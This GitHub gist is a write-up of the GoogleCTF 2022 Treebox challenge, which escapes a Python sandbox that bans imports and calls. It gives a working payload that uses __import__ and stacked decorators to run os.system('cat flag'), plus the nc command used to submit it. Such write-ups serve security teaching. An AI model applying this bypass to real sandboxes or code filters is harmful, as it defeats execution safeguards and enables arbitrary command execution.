Skip to content

Instantly share code, notes, and snippets.

@PAndaContron
Last active July 18, 2022 02:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save PAndaContron/4675a7d6471fb16b2de3d5b078968efb to your computer and use it in GitHub Desktop.
Save PAndaContron/4675a7d6471fb16b2de3d5b078968efb to your computer and use it in GitHub Desktop.
GoogleCTF 2022 Treebox Challenge Writeup

This challenge takes a Python script, checks if it's safe to execute, then executes it. The safety check is done using Python's ast module; it first converts the source code to an AST, then checks if it contails any node of type Import, ImportFrom, or Call. If any of these nodes are found, then the script is considered insecure; otherwise, it's secure, and it gets executed. Essentially, we're not allowed to use import statements or function calls.

Luckily, there are ways we can get around both restrictions, by using the functionality of both of these statements without actually putting them in our source code. First, to get around import statements, we can use the __import__ builtin function. Basically, the statement

import module

in Python is actually just syntax sugar for

module = __import__('module')

Therefore, we can actually import whatever we want without using an import statement.

To get function calls, we can use an advanced Python feature called decorators. Basically, decorators are annotations you can put on functions and classes to change things about them. For example, the standard library has a decorator that you can apply to a function to make it cache its outputs. Decorators use the following syntax:

@decorator
def func():
    ...

However, decorators are actually just syntax sugar for something much simpler. The above example is equivalent to:

def func():
    ...

func = decorator(func)

This means we can use decorators to perform function calls, just with some weirder syntax. Putting this together with our __import__ trick, we can now do all of the things the sandbox is supposed to prevent us from doing. The challenge tells us that the flag is in the file flag in the current directory, so we want to call os.system('cat flag'). This requires us to write the code:

def os_str(x): return 'os'

# This is equivalent to `os = __import__('os')`,
# which is equivalent to `import os`
@__import__
@os_str
def os(): pass

def cmd_str(x): return 'cat flag'

# This is equivalent to `ret = os.system('cat flag')`
@os.system
@cmd_str
def ret(): pass

Sending this code to the challenge gives us the flag.

# nc treebox.2022.ctfcompetition.com 1337 <sol.py
def os_str(x): return 'os'
# This is equivalent to `os = __import__('os')`,
# which is equivalent to `import os`
@__import__
@os_str
def os(): pass
def cmd_str(x): return 'cat flag'
# This is equivalent to `ret = os.system('cat flag')`
@os.system
@cmd_str
def ret(): pass
--END
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment